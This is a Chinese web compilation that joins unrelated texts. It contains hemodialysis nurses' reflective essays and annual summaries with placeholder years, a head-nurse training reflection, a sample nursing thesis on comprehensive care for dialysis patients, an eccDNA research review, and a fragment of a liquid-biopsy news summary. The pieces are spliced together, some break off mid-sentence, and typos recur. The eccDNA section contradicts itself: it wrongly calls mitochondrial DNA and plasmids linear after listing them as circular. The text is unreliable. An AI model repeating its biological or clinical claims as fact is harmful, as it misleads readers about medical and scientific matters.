做为血透室的护士，对患者要有一颗同情心，尤其是维持性血液透析的病人，他们必须领带透析面生存，实际上这是一种较痛苦的生活。他们的社会生活、工作及家庭关系都发生了很大的变化，对自己的生命、预后、事业、前途忧心忡忡，再加上血液通路手术，多次穿刺造成的痛苦，经济上的负担，性功能减退等问题，都可以转化为精神上的负担，使病人出现抑郁逆反行为。因此，我们一定要做好他们的心理护理，帮他们树立战胜疾病的信心。

做为血透室的护士,就要有一个较强的责任心，透析患者的体外循环管路里，有近200多毫升的血液，以每分钟200多毫升的速度在不停地运转四、五个小时，并且每个管路都有数个接头与侧孔，稍有疏忽，就会使患者丢失血液，甚至导致更严重的后果。我们都知道，每个肾功能不全的患者，均有不同程度的贫血，所以，每丢失一滴血液不仅患者本人，就连我们都感到十分心痛。肝素的用量更是马虎不得，用量大，会导致病人出现出血倾向；用量少，不但达到到防止凝血的作用，同样会导致病人丢失血液。这就需要我们护士要随时随地密切观察患者的生命体征和机器的盍情况及管理的衔接是否完好等。上班时一定要集中精力，必须保持高度的责任心，以确保数个房间病人的生命安全。

做为血透室的护士，就要有一个科学的服务态度。作为护理工作者，不但要为患者解除病痛，还要耐心地做好他们地思想工作，与他们进行沟通，让他们相信科学，信任我们。使他们了解慢性肾功能不全进入尿毒症期后，除了换肾、腹膜透析外，血液透析这是唯一的途径，别无选择，告诫他们不要走弯路，更不能相信鬼神而花冤枉钱且误事。有好多患者开始透析前对血液透析都特别反感，不愿接受，并错误地认为透析类似抽烟，一但上了隐就很难戒掉，其实透析机就相当于我们一个人的肾脏，对于一个失去肾功能的肾脏来说，它只是起了一个替代作用。对首次透析的患者，应向其解释病情，说明透析的必要性及透析的方法。必要时带他们的来透析室参观，并由透析过的患者介绍情况，以便解除紧张情绪。

做为血透室的护士，对患者所具有的同情心、责任心、关心和爱心当然是必不可少的，而娴熟和精湛的技术更是我们护理人员帮助患者战胜疾病有得保障，只有熟练的技术，才能真正减轻病人的痛苦。所以，我们一定要苦练透析和各种操作技术，如动脉穿刺技术，内瘘穿刺及股静脉穿刺技术等。

做为血透室的护士,工作貌似很有规律，实际要经常加班加点，一年365天不能关手机。因工作的特殊性,我们每天要提前一个小时上班,我们习惯了这样的日子,更习惯了所有的节假日和血透患者在一起的感受.遇到危重病人、药物中毒等特殊任务时，无论是休息还是睡梦中，只要是患者的呼唤，毫无选择赶往医院，第二天还要为早已躺在血透床上的患者忙碌。

做为血透室的护士，这些都是我们义不容辞的责任，能够胜任本职工作使我们颇感欣慰。而我们今后面临的任务仍很艰巨，但是我们有医院各级领导的正确领导，我们有信心有能力将自己的本职工作做得更好。在今后工作的中我们将继续努力，刻苦钻石不断学习新知识，掌握新技术，更好地为人民服务，为医院的建设贡献出我们自己的一份力量。

上周，我刚刚被任命为血透室副护士长，作为一名刚刚踏上护理管理岗位的我来说，虽然在临床一线工作了多年，业务熟练，可那与做一个“内当家”的护士长来说，其工作范围和责任还是差距很大。在我感到茫然，不知那里下手的时候，护理部宛主任好像发现了我的心思，她微笑着亲切地对我说：“你才干护士长，心里没底没关系，我们下周要开展护士长培训班，你要将科室工作安排好，一定要参加！”。太好了！我好像在黑夜里看见了一盏明灯，怕什么，有护理部宛主任，还有诸多优秀的护士长作为我学习的榜样，没有什么困难是克服不了的护士长培训心得体会（血透室）。

回到科室，我看着排班表发呆，我们科室本来人员就非常紧张，还有一名护士休产假，护士长在正常转班，每周必须有四名护士一天上两个班次，原护士长要调走，排班更紧张，我怎么抽出时间去参加培训班？在我沉思的时候，科里的老师们对我说说：“没关系，你尽管去参加培训班，科室有我们呢！”真的，听到这句话，我心里很感动，我要珍惜这次学习机会，提高自己的管理能力，让我们科室成为一个优秀科室。

培训的第一节课，是宛主任的课，宛主任上课语言幽默风趣，通俗易懂，我一直很喜欢听她的课。其中宛主任介绍的“护士到底喜欢怎样的护士长？”感触很深，因为我也非常想做一个护士能把我当成知心朋友的好护士长，听了宛主任的介绍，我暗下决心，一定要做好人性化管理，要尊重、爱护、关心、理解护士，让每位护士在我们的集体里成长；第二节课是我院邀请香港联成国际教育集团西点执行学院，高级讲师邓成伟教授来院开展《医院西点执行力》的专题培训会，那节课对我思考解决问题的方法很有帮助，强调要把执行落实到结果上，用典型事例分析了什么是结果，得出三个重要的结论：任务不等于结果、态度不等于结果、职责不等于结果；接下来是吴文秀主任的讲课，吴主任用许多富有哲理的小故事，教我们护理管理的艺术，吴主任的课听着很舒服，同时也让我很有启迪；接下来张凤琴主任和张爱莲主任分别以护理质量管理、护士长日常管理给我们上的两节课，让我对护士长的具体工作内容有了直观的了解。

这次培训会教会我怎样做人，又教会我怎样做事，总之，学习中的亮点和启发很深、很多。通过这次培训，我收获很大，使自己有了很大的提高。

一是我对护理管理艺术有了新的认识；

二是其中的许多内容都可以作为我的座右铭，激励我在平凡的工作岗位上做出成绩；

三是实实在在对我现在的工作有很大的帮助和指导作用。

对我有着独特意义的20xx年即将过去，回看这独特的一年，仿佛历历在目。在今年的工作中，不迟到、不早退，能遵守各项院纪院规，尊敬领导，团结同事。主动积极的完成各级领导给予的工作任务。除了圆满的完成了“血液透析”的进修学业外，还成功的在科主任及护士长的领导下创建了血透室，并良好的开展和维持血液透析工作。

人说万事开头难，自血透室开科以来，我协助护士长制定血透室的岗位职责、工作流程、操作规范、账目管理及应急预案的制定，做到超前思维，保证在工作中遇到问题时，能有据可查和及时解决，保证血透室工作顺利开展。

在工作中，我本着以人为本的服务理念，强化服务意识，用亲切而有耐心的话语沟通来增强护患情感，细心的讲解透析知识，给予饮食指导，消除患者的恐惧心理和对疾病的盲目感，增强患者的治疗信心。我还经常主动征求患者意见，不断改善服务工作。在没有家属陪同的透析病人透析中，我能担起家属的责任，送水、热饭、搀扶、更衣、协助大小便等，从不埋怨脏和累。

对于我的本职工作，我负有高度责任心，胆大心细。血液透析工作具有较高风险，作为护理操作者，我既有风险意识，又能发挥主观能动性，做到最大限度的控制和避免风险，从而提高护理质量。除此之外，我还有具有高度的营销意识，为医院的经济效益有着高度的敏锐性，做到服务好每位固定病人，留住每位咨询病人，推广医院的软件与硬件，吸引更多的病人。我积极参加各种院外学习，不断丰富自己，主动参与科内“两新技术”的开展，自血透室开科以来，共完成血液透析410台，其中：血液透析滤过(两新技术)20台，血液灌流2台，无肝素透析11台。全年工作中，无护理安全事故、差错的发生。

身为血透室院感负责人，除日常透析工作，我还要完成对水机、透析机的定期保养工作，和对透析用水、透析液、透析环境的定期的监督工作，最终，我以“优秀院感质控员”;我管理的血透室，以“优秀院感科室”的荣誉称号，圆满画上了今年的句号。

回顾这一切的一切，这只是一个小开端，我会全心全意工作，协助科主任和护士长让我们医院的血透室更富特色，更加壮大。

2018年血透室遵循医院的整体发展计划和要求，进一步深化“以患者为中心”的服务理念，继续完善优质护理，深化护理改革，全面履行护理职责，加强护理内涵建设，提高专科护理水平，努力拓展延伸服务。同时，根据护理部精神，以“患者安全”为目标，开展风险管理，保障医疗护理安全，改善患者就医体验，促进医患和谐。一年来，在院领导、科主任、护理部及科护士长的领导、关心和支持下，在全科医护人员的共同努力下，较好地完成了所承担的各项临床工作任务，全年无差错事故和不良事件发生。

现将年度护理工作总结如下：

一、临床工作业务量逐步上升

2018年血透室的各项治疗业务量不断增加，透析患者数、透析例次数及各类血液净化治疗的工作量较2017年同期均有大幅度的提升，增长率为7.7%(图1)。尤其是血液透析滤过(HDF)、血液灌流(HP)和连续性血液净化(CRRT)治疗的患者均有了显著的增加，给科室日常工作和护士人力都带来很大的压力，但同时也满足了患者的治疗需要，提高了患者的治疗效果。通过全科人员的齐心协力和通力协作，顺利完成了无数次的急危重症患者的救治任务，圆满落实了每月的护理工作。目前开放透析机器28台，收治门诊维持性血液透析患者120余例，每日运转3个班次，随着夜间第三班透析患者人数不断增加，今后将会开放更多床位以满足患者的治疗需求。但同时，需做好医护人力配备和岗位培训，保证护患配比，满足临床需要，避免不良事件。

二、落实护理核心制度及质量指标，推进质量持续改进

按照护理部要求确定了本科室的专科护理敏感质量指标，包括血透患者透析导管感染发生率和穿刺处渗血发生率，持续进行数据监测，并积极落实数据汇总、分析及相应整改措施的落实，取得良好成效(图2、图3)。积极开展品管圈(QCC)活动，完成了主题为“降低透析中急性并发症的发生率”的质量改进项目，落实了项目的实施与评价，制定和完善了3个标准化作业书，包括血液透析患者健康教育路径表、血液透析监测和护理流程图、血液透析中常见并发症紧急处理流程。该项目取得了满意的效果，达到了预期目标，明显提高了患者的治疗效果和护理人员的综合素质，且研究成果参加了学术会议的交流。

根据护理部要求完成了2018年本科室护理质控标准的修订，积极参与及开展护理部新制度的培训工作，并将本科室的工作重点进行了分解、细化和落实，科室护理质量控制小组定期监测各项护理质量指标，进行持续质量改进，做到周周监控、月月分析、人人有责。上半年顺利通过了南北两院质量对口检查、区卫监所专项及医院院感科的各项督查，下半年通过了三甲医院等级评审调研和市血透质控督查。根据评审细则、督查标准和检查的结果，积极听取专家的意见和建议，进一步完善了各项规章制度和工作流程，查阅和组织学习最新行业标准、法律法规和临床实践指南，规范专科护理操作规程，积极落实督查后的各项改进措施，不断提高护理服务质量和患者满意度。

三、加强护士核心能力培训，提高团队整体素质

建立和完善了现有专科护士的培训计划、培养目标和绩效考核体系，通过各种形式加强对青年及低年资护士的培养，完成了2名新入科人员的规范化培训。实施分层级培训与考核，并充分发挥各层次护士的特长，挖掘她们的潜力，积极动员科内护士参加优秀青年人才培养项目、护理管理岗位挂职竞聘、优质护理服务达人以及护理科研创新小组选拔等系列活动，经过选拔，1人入选优秀青年护士计划，1人入选临床护理专家计划。组织学习新知识、新理论，全年进行了专科业务培训32次，均由本科室护士承担讲授，以利于提高护士的学习积极性及促进护士的成长。选派护理骨干外出进修培训，参加各级、各地血液净化学术会议，学习新的理念和知识，并带回科室分享交流，促进全员共同进步，提高全科护士的专业能力及综合素质。

四、加强病区管理，落实科室安全督查

落实了节前各项安全检查，加强了每个节日期间的消防安全和患者的健康教育。同时，保证所有急救物品和器械呈备用状态，确保患者医疗护理安全。积极配合和参与了护理部组织的“护理安全月”活动，落实科室安全督查，消除科内安全隐患，有效避免了不良事件的发生。此外，根据护理部6S标准化管理要求，规范了病区内办公室、治疗室以及库房的各类物品、药品和耗材的'管理，修订相关制度，落实责任人，规范进行有效管理。

五、提高科研能力，开展创新实践

组织科内人员学习和交流专科护理新知识和新技术，了解学科进展，关注最新动态。积极参加护理部组织的护理科研培训，同时在科内业务学习中增加科研的相关内容，普及科研知识，为今后临床开展护理研究项目打下基础。积极参与申报护理新技术的开展，本年度申报项目为ECMO与CRRT的联机治疗及护理，确定了项目的实施方案和技术操作流程等，为后期开展做好了准备。上半年完成了HDF治疗在线预充的护理革新项目，进行了全科培训与推广，达到了良好的临床效果。此外，积极参与护理部科研创新小组的活动，动员科室人员注重科研意识的培养，善于发现临床护理问题，踊跃参与各级课题项目的申报，本年度完成了1项维持性血透患者延续护理的局级课题的立项，今后将逐步推进项目的实施、评价和结题等工作。

六、缺点与不足

一年来，科室的护理工作在各级人员的支持和努力下，取得了一定的成绩，但同时也存在一些不足，有待进一步改善：

延伸护理服务仍然处于初级阶段，今后将配合课题的开展和实施，通过多种渠道和形式为患者提供全面、全程、专业、人性化、连续性的优质护理服务。

护士的专业素质还有待提高，主动服务意识不浓，医、护、患沟通不是很到位。今后需进一步强化专科护士多维度的能力培养，提高护士的责任心和专业信念，增加人文、心理、法律等相关学习内容，开展医、护、患三方的集体活动，进一步增强团队凝聚力及信任感。

管理能力还需进一步提高，缺乏创新。今后需持续学习护理管理的理论和方法，提高管理者自身的水平和能力，熟练掌握质量管理工具(如QCC、RCA、FMEA)的应用，创新性地开展质量改进项目，促进临床护理质量的提升和专科护理的发展。

最后，回顾一年的工作，我们始终坚持以“患者为中心”的服务理念，积极推进优质护理服务，全面贯彻医院及护理部的精神，不断加强基础理论与操作的培训，修订和完善专科管理流程和相关督查标准，确保护理安全和提高护理质量。通过总结不断发现工作中存在的不足，及时改进和完善，并制定新的目标和计划，从而不断提升工作效率和服务质量，使科室护理文化、护理质量和护患的满意度走上一个新高度。

血液透析是尿毒症患者的主要治疗方法。透析病人实际上过着一种很不正常的生活，他们很大程度上是与透析机器“绑”在一起，终生依赖于医疗设备、依赖于医护人员存活，患者及其家庭的经济负担都很重，长期病理因素的影响也使患者具有情绪不易稳定、容易激惹等特点。随着医学模式的转变，对血液透析患者不仅要给予心理上的安抚，还要给予人性化关爱，提倡以人为本的护理服务理念，以提高透析病人生存质量。所谓的“小小血透室”实际上承载着透析病人生存的全部希望，也是急性肾功能衰竭和各种中毒病人不可或缺的治疗手段。在此对20xx年度血透室的护理工作经验做一总结：

1、明确透析中心的岗位职责，工作流程、操作规范，并制定了透析风险预案和紧急突发事件的处理预案。

认真学习，使血透护士都能熟练掌握。在工作中遇到问题时有据可查，能及时解决。规章制度在工作中不断补充完善。严格按照规章制度及工作流程工作，严格查对制度，包括患者的预冲管路、血管穿刺、透析治疗及治疗参数的设定，保证每个班次必须有2个以上的护士在岗，相互检查，包括穿刺部位有无渗血、机器设定的治疗参数是否准确、抗凝剂及其他药物的用量以及患者的生命体征等情况。积极参加院内各项业务学习与培训，每月一次血透专业学习。支持鼓励护理人员参加大专学习，提高护士的综合素质，充分调动护士的积极性，使其丰富知识、开阔眼界。

提高护士的素质，并非单纯的业务水平，要在专业理论基础上更加注重人文修养，包括语言文字修养、人际关系修养、伦理道德修养、理性思维修养等等。在生活中关心护士，尽力为他们解决实际困难。让护士感到集体的温暖与友爱。树立以人为本的护理服务理念，不仅仅是医患、护患之间要有人性化的关怀，护士与护士之间是工作关系、是同事关系，更是朋友关系，相互之间的理解、信任与沟通，能够创造良好的医疗与工作氛围，为进一步提高医疗护理的服务质量和工作效率打下良好的环境基础，对血透室的管理工作起到了事半功倍的作用。在日常透析过程中，护理人员相互协作，无班次之争；急诊透析时，都能够在第一时间赶到，无论是晚间急诊还是周日透析，从没有推诿现象，也不因加班而影响次日正常工作。

2、建立以人为本的护理管理模式，强化服务意识。

病人开始透析后，往往有很大的压力，如透析的风险、痛苦、自由的限制，疾病本身对身体的影响，透析费用，亲情的改变等等，所表现的心理问题有抑郁、焦虑、绝望，有的甚至因此仇视社会仇视医护人员。亲切而有耐心的语言沟通能够使患者有一种安全感，细心的讲解透析知识，消除患者的恐惧心理，讲解其他患者的透析效果，增强其治疗的信心。尽量减轻患者的负担，为其设定透析计划，尽可能让他们不纠缠在疾病的痛苦、生命长短中，而注重生存质量，笑对人生。

透析病人长期与医护人员接触，对医护人员有较强的依赖性。同时对工作人员、治疗环境及透析程序与方式都比较熟悉，甚至把血透室当成第二个家，并有明显的参与管理意识。对此我们随时与患者进行沟通，把血透治疗方面的新进展进行讲解和说明，主动征求意见。在发生其他科疾病时主动为患者联系治疗，建立畅通的就诊通道。提供联系方式，遇到问题及时联系，争取在第一时间内解决。对病情较重的患者，让一位家属陪伴，使患者感受到亲情，增加安全感，减轻心理压力，更好地配合治疗。在没有家属陪伴时，我们亦承担起家属的责任，递水、喂饭，搀扶，在长期治疗过程中感化病人。有情绪不良、态度恶劣的病人，及时向院领导汇报，与多部门联合，制定切实可行的相关措施，力求逐步打消其报复社会的极端念头。

3、力求工作认真、细致。

血液透析具有较高的风险，作为护理操作者，既要树立正确、积极的护理风险意识，增强法制观念，又要发挥主观能动性，做到最大限度地控制和避免风险，从而提高护理质量，更好地为病人服务。透析过程中需要每小时常规测一次血压并记录，病情变化时随时测量并监测生命体征。有些病人，尤其是透析过程中易发生低血压的，需求严密观察，每5分钟测量一次血压。透析仪器参数要及时调整，如温度、电导度、超滤率、血流量等等。工作时集中精神与精力，稍一疏忽，即可造成病人的损失与事故。

糖尿病患者因为无糖透析易发生低血糖，要注意神志等变化，特别是病人睡觉时，需经常呼唤。由于透析排水之后水肿减轻，穿刺部位皮肤松弛，易发生针眼渗血或脱针现象，特别在冬天，病人手臂在被子里面，而出血往往就在一瞬间发生，而且量非常大。除了勤观察外，还需要交待病人，如有异常及时呼叫。20xx年度透析600多人次，从未出现医疗差错事故。并在糖尿病人血液透析中如何观测血糖、防止低血糖休克中，取得了一定的经验；对透析中的低血压进行分析，采取防范措施，以保证透析的充分。

4、人性化关爱。

本着我院“病人至上”的价值观，我们继续倡导以人为本的护理服务理念，予以患者人性化的关爱，先后对几位家境贫困的自费透析病人给予千余元的资助，并在衣食上给予关怀和帮助。这些对于透析病人来说，无疑是杯水车薪，根本就无法改善其生活和透析状态，但在一定程度上表达了我们对病人的关心与鼓励。

除了努力与成绩之外，本年度我们也存在一定的懈怠之处，表现在：业务技术水平、医疗设备与环境管理不善、服务态度与沟通不良、制度不健全等等，在此反省之时，也提出意见和建议，恳请院领导和护理部予以关注。

1、业务技术水平：

首先是动脉穿刺问题，尤其是首次透析、急诊透析的病人，一般情况差，毒素高，更造成动脉穿刺困难，难以保证透析血流量。一是动脉穿刺经验尚缺乏，在血流量不够的情况下一味地选择重新穿刺。

二是医院整体水平不够，无法做深静脉置管，增加了病人的痛苦，也容易引起病人的不满。

其次，本年度血透室医护人员没有外出学习、进修的机会，透析工作基本维持于原状，无新业务新技术的开展，无论文发表。因血透室工作是与医生紧密相关的，比如深静脉置管、腹水回输、血液灌流等都需要医生的指导医护的配合，也需要实际经验的学习，而无法闭门造车。在此希望院领导能够给予我们一定的参观与学习机会，在提高业务水平、加强消毒隔离措施、开展透析新项目上再上一个台阶。

2、医疗设备：

透析病人是依赖于透析设备生存的，包括透析仪器、水处理设备、完善的水、电供应、高质量的透析用品等等。本年度完成了透析器与透析管路由复用、消毒，到一次性使用的转换，这种转换是形势。

护理毕业论文范文8000

以下是提供的护理毕业论文范文，题目为：试谈综合护理模式应用与改进血液透析患者生活质量的临床体现。欢迎阅读。

目的：探讨血液透析患者采取综合护理干预对生活质量的影响，为临床护理提供更多的理论参考依据。策略：对在2010年03月到2013年07月期间来我院进行血液透析的40名患者的临床资料进行回顾性分析。结果：在发生高血钾症等急性疾病的发生率方面，观察组患者显著降低，在情感得分、健康指数、一般感情指数和生活满意度等方面，对照组的评分明显低于观察组，两组差异具有统计学作用(P<0.05)。结论：综合护理干预在维持血液透析患者方面有显著疗效，它能够减轻患者的痛苦，提高患者的生活质量，值得广大护理人员在临床护理上大大推广。

关键词：综合护理; 常规护理; 血液透析患者; 生活质量

血液透析患者整个透析治疗时间周期较长，患者的体质很差，经常容易引发一些较严重的并发症，它主要是将患者体内血液引流到体外，经过一个由无数空心纤维组成的透析器，血液和与机体浓度相类似的透析液在空心纤维内外，通过对流进行物质交换，体内的代谢废物被清除掉，电解质和酸碱维持在平衡水平，同时体内过多水分也被清除掉[1]。本文主要探讨血液透析患者采取综合护理干预对生活质量的影响，现将研究结果报道如下。

1 资料与策略

1.1 一般资料：

对在2010年03月到2013年07月期间来我院进行血液透析的'40名患者作为研究对象，将其随机分为对照组和观察组，每组各20例。所有患者中男性患者22例，女性18例，年龄为42～77岁，平均年龄为56岁，患者的透析频率为每周1～3次，透析时间为每次3～5h，两组患者在年龄、性别、透析时间、透析频率等方面差异不具有统计学作用(P>0.05)。

1.2 策略

1.2.1 透析策略：

对所有患者给予每周9～14h的透析，每次透析的时间为3～5h内，透析时使用碳酸氢盐与聚砜膜血液透析器。

1.2.2 护理策略：

对照组给予常规护理方式。观察组给予综合护理方式。具体方式为：1创造良好的护理环境：做好透析室清洁和消毒工作，并保证透析室空气流通。2对患者进行心理疏导：透析前耐心详细地向患者讲解透析策略以及透析过程中的注意事项，患者患病后都会不同程度上出现紧张，护理人员应该及时和患者进行沟通，为患者树立战胜疾病的信心和勇气，同时也要注意和患者家属进行沟通，发动家属对患者进行心理安抚，消除恐惧心理。透析后患者也经常会出现抑郁、焦虑等不良情绪，这会影响患者的治疗效果，因此也要充分了解患者产生不良情绪的理由，针对理由给予心理疏导。3透析过程中，要严密观察患者的生命体征变化，重点观察穿刺部位情况，同时要观察并发症的发生，防止患者出现低血压和急性溶血等并发症。及时调整药物剂量，严密观察患者血压变化情况;严密观察血脂变化，防止血脂高或者脂质代谢紊乱;若患者牙龈出血、消化道出血以及颅内出血，减少肝素用量防止出血。4饮食护理：透析患者多为无尿或少尿，因此要严格制约患者液体的摄入，摄入水分过多，患者会出现高血压、心衰等症状，因此要严格制约进水量，一般进水量应该使残余尿量为700ml左右，两次透析之间患者体重增加应该为2～3kg内，每次透析时脱水量不能超过基础体重的5%，以防止并发症的发生。

1.3 评分标准：

使用SF-36生活质量量表对观察组和对照组患者护理干预进行评分，内容包括：体能、精力、身体健康、心理健康和社会活动五项内容。评分采用百分制，数值越高说明生活质量越好。

1.4 统计学处理：

对所有数据使用SPSS15.0软件进行处理，使用表示，进行t检验，P<0.05表示差异具有统计学意义。

2 结果

两组患者的具体治疗临床效果见表1。

3 讨论

“以人为本”的综合护理模式能够显著干预血液透析患者的治疗，提高患者的生活质量，对于临床治疗效果有很大的帮助[2]。血液透析患者整个透析治疗时间周期较长，患者的体质很差，经常容易引发一些较严重的并发症，患者往往对于血液透析不了解，因为一些固有的观念，导致患者容易产生心理以及生理等多方面的理由，这些理由对于患者进行临床治疗有相当大的负面影响。目前，常规的护理方式已经不能解决这些理由，也无法满足患者及其家属的需求，所以要在常规护理的基础上增加例如注意护理环境，注意患者饮食，做好透析过程中的患者护理等方式，综合护理干预措施提高患者护理的效果。

本研究所采用的综合护理模式首先为患者营造一个舒适的透析环境和病房环境，让患者在整个护理过程中在感官上是舒适和满意的，其次是对患者做好血液透析方面的知识普及工作，让患者充分了解这方面的知识，尽量抚慰患者的紧张心理;接着护理人员要充分注意患者在透析过程中生命体征的变化情况，防止患者出现一些严重的并发症;最后做好患者的心理辅导工作，这个护理工作是贯穿患者治疗的整个过程，安慰患者，让患者消除掉负面的、消极的情绪。通过这些措施相结合的综合护理模式，我们发现观察组患者的生活质量评分要明显高于对照组患者。

综上所述，综合护理干预在维持血液透析患者方面有显著疗效，它能够减轻患者的痛苦，提高患者的生活质量，值得广大护理人员在临床护理上大大推广。

参考文献

[1] 李小银，林芝，周凤婵，等.应用循证护理解决血液透析病人低血压的实践[J].现代临床护理，2005，4(3)：9

[2] 梁杏菊.舒适护理在普外科患者围手术期的临床应用体会[J].中国医药导报，2010，7(31)：81-84

液体活检的发表论文

2019年，接连3篇高水平染色体外环状DNA的研究论文引爆了这一几十年前就已发现的一种存在于染色体外的DNA形式的研究热潮。当然，不仅仅文章的发表，这一研究方向能够得到如此多的关注也是因为高通量测序技术的应用使得对eccDNA的作用感兴趣的研究人员有了更加便捷的研究方法，降低了研究的门槛。一、eccDNA的研究历程首先，我们来看什么是环状DNA。环状DNA是一种生物界普遍存在的DNA形式，如常见的线粒体DNA、叶绿体DNA、细菌基因组、细菌质粒、部分病毒基因组等。那么本文要讨论的染色体外环状DNA同上述提到的几种形式有什么不同呢？我们都知道线粒体DNA和质粒的都是以线性的DNA的形式存在的，其染色质成分并没有组蛋白，因而也不存在核小体的结构，并且不会发生染色体序列的折叠和三级结构。而eccDNA，既然叫做染色体外环状DNA，那么它首先应该是存在于真核生物当中的（原核生物、细胞器、病毒等不存在染色体的结构），其次必须是以环状的形式存在的，再者是游离于染色体外的，并且具有完整的核小体结构，也就是说，其染色质的组成是与正常的染色体相同的，因而也具有染色质折叠、压缩和特有的空间结构。染色外环状DNA早在1965年就已经被报道，这是首次在小麦胚乳细胞和猪精子当中发现的DNA存在形式。同年其他研究人员报道在人的肿瘤细胞中发现了eccDNA，并且发现是都是以成对的形式存在，因此被称作“双微体”，这也是双微体概念的首次提出。(大家注意一下下图中染色体旁边成对出现的小黑点就是双微体) 接着陆续有研究发现双微体中能够携带癌症基因，如EGFR和MYC基因通过eccDNA在肿瘤细胞中扩增了40%（Cancer Genetics and Cytogenetics, 2008）；在胶质瘤中发现癌细胞通过形成eccDNA造成携带的EGFR和MYC基因大量扩增(PNAS, 2014)。尽管诸多研究成果都是基于双微体研究来进行的，但是事实上，后续研究证明并非所有的eccDNA都是以双微体的形式存在的。2017年，Nature发表了一篇首次利用高通量测序技术对17个肿瘤样本的大规模eccDNA研究，发现只有~30%的eccDNA是以双微体的形式存在的。同时也证明不同eccDNA在不同的肿瘤样本中是普遍存在的，但是含量有很大差别。可以说从2017年的这篇文章起，eccDNA的研究真正进入的高通量测序时代。目前为止主要包含以下几篇文章： 2017年：Nature，17种肿瘤的2572种细胞系的全基因组测序分析，证明eccDNA在肿瘤组织中普遍存在； 2018年：Nature Communications，健康人的肌肉和血液细胞中分离到超过十万种eccDNA分析，它们绝大部分都携带基因或基因片段，证明eccDNA在正常组织中是普遍存在的； 2019年：Nature Genetics, eccDNA驱动神经母细胞瘤基因组重塑； 2019年：Nature，eccDNA促进染色质可接近性和致癌基因的高表达； 2019年：Cell，功能性增强子自造成染色体外癌基因的扩增；二、eccDNA可能的形成机制 eccDNA究竟是如何形成的，目前尚没有十分确切的解释，目前推测的可能机制包括以下几种：（A）DNA复制过程中，形成发夹结构，接着在DNA聚合酶的作用下，通过滑动形成环状，并从染色体中切割下来并复制形成双链环状DNA，这种形成方式的特点是染色体原始位置上的这段序列发生了缺失；（B）DNA复制时形成R-loop结构，在这种结构中，其中一条链发生折叠，形成环状结构并切割下来，形成环状DNA，发生断裂的双链通过DNA的损伤修复机制进行补齐，因此这种方式不会造成染色体原始序列的损伤；（C）通过DOIRA模型，通过双链复制的方式形成；也不会造成原始序列损伤；（D）通过双链的同源区域的重组，造成双链同时断裂，往往通过这种方式会产生Mb以上的较大的eccDNA，并且原始序列会发生缺失。所以，总的来说，eccDNA的形成是依赖于DNA的序列特征、复制过程和DNA损伤的修复的。从目前已有的研究进展来看，就序列特征而言，串联重复序列会更容易造成eccDNA的形成；并且大部分的eccDNA有段重复序列，但是也有相当的部分没有重复序列，不能与任何附近的序列发生重组；高GC、转录激活区域，像R-loop形成和修复促进eccDNA的形成；同源重组会切除重复DNA产生序列更大的eccDNA。而就DNA损伤修复而言，研究发现致癌物会提高eccDNA的水平，同时一些特异的DNA损伤修复蛋白是eccDNA形成所必需的，但是还有一些是非必需的。最后，虽然我们在上述eccDNA推测的形成机制中提到的大多是与DNA复制有关的，但事实上，不发生DNA复制的情况下，eccDNA也可以存在。所以说，eccDNA的形成并不是一个简单过程，而是可能由多种因子，多种蛋白，并且有一个复杂的调控机制参与的过程，具有很重要的生物学功能。三、eccDNA的大小和类型 eccDNA的大小从几百bp到几十Mb不等，其中较小的一种是2012年Science报道的被称作MicroDNA的特殊的eccDNA，大小只有200-400bp，有片段过短，因此不能携带完整的基因序列；但是目前MicroDNA被认为具有一些重要的调节功能，包括调控RNA的转录过程，或者通过分子海绵的作用调控一些非编码RNA的表达，同时这种DNA也被认为是可能在未来应用于液体活检来监测癌症的发生发展的一种体外游离DNA的形式。双微体形式存在的eccDNA一般较大，100kb-3Mb等，很多可以在光学显微镜下被观察到，能够携带一些完整的基因结构和上游的调控序列。那么类似双微体或非双微体形式存在的这种大型的eccDNA形式也是最有可能携带完整功能基因结构的，被关注最多的，也是相对更容易开展后续研究的形式。四、eccDNA的功能 eccDNA目前已经有很多的功能被证实，包括介导细胞的衰老，如上表中的rDNA circle，被证明在酵母细胞衰老过程中发挥作用；基因补偿效应在组蛋白H2A-H2B的编码基因研究中被发现，敲除后会造成eccDNA中的同源基因显著扩增；肿瘤的适应性进化和异质性在2019年的几篇文章中都有报道；抗药性早在1978年就已经证实携带DHRF基因的双微体会造成小鼠细胞的氨甲喋呤耐药，2014年一篇研究发现eccDNA中的EGFR基因突变会造成胶质瘤的耐药性（Science, 2014）。关于细胞间异质性的推测主要是因为eccDNA中没有着丝粒的结构，在细胞发生有丝分裂时会随机分配到子代细胞中。但是在细胞准备发生分裂时，是否会有专门的机制调控eccDNA提前进行复制后分配，没有看到相关的研究报道。在eccDNA的随机分配后，获得有利于细胞生长的eccDNA会保持生长的优势，这或许是肿瘤组织内异质性和原发癌/转移癌中异质性发生的机制之一。但是目前尚没有实现从单细胞层面检测eccDNA的方法，所以细胞间异质性和互作还难以实现，其他方面的研究也还没有相关研究报道出来。五、eccDNA的分析方法目前已经报道的基于高通量测序方法研究eccDNA的报道都是基于Paul S. Mischel团队开发的AmpliconArchitect软件，基于二代全基因组测序数据（5-10X覆盖深度），该软件可自动比对基因组，寻找断点信息，并结合SV和CNV的分析结果生成eccDNA的分析结果。不过需要注意的是，目前该软件的license是收费的。不过还可以考虑通过提取环状DNA和滚环扩增的方式获得eccDNA，并进行后续的测序和组装，这时候相对于对软件依赖的限制就相对较小了，但是对于线性DNA背景的排除依然是个问题，在基因组DNA的提取、扩增、质控及后续分析方面还需要诸多探索。「2020年04月12日 ·北京」

“Liquid Biopsy” Detects Cancer in Asymptomatic People

“液体活检”检出无症状人群的癌症

评论作者：Anthony L. Komaroff, MD

在无已知癌症的10,000名女性中，有0.3%被检出早期癌症。

既往研究提示，即使非常早期的癌症也可在血液内产生可识别的信号（“液体活检”；NEJM JW Gen Med Feb 1 2019 and Nature 2018; 563:579）。约翰·霍普金斯大学的研究团队评估了一项血液检测方法，该方法可在症状出现之前的癌症患者中发现无细胞DNA和蛋白质类肿瘤标志物的特定变化；参与者是一个大型医疗系统中的10,000名无已知癌症的女性（年龄范围，65～75岁）。研究中的所有患者均继续接受癌症标准筛查。

